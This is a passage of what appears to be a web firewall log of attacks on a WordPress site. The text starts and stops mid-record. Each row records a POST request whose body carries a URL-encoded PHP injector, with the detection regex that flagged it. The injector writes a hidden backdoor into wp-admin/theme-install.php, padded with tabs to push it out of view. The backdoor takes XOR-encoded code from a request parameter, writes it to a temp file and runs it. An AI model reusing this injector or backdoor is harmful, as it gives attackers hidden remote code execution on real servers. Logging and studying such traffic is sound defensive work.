0%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-length:3842\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nqd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:03","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-length:3842\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nCT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:05","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3865\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:53:08","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:3842\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nvm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct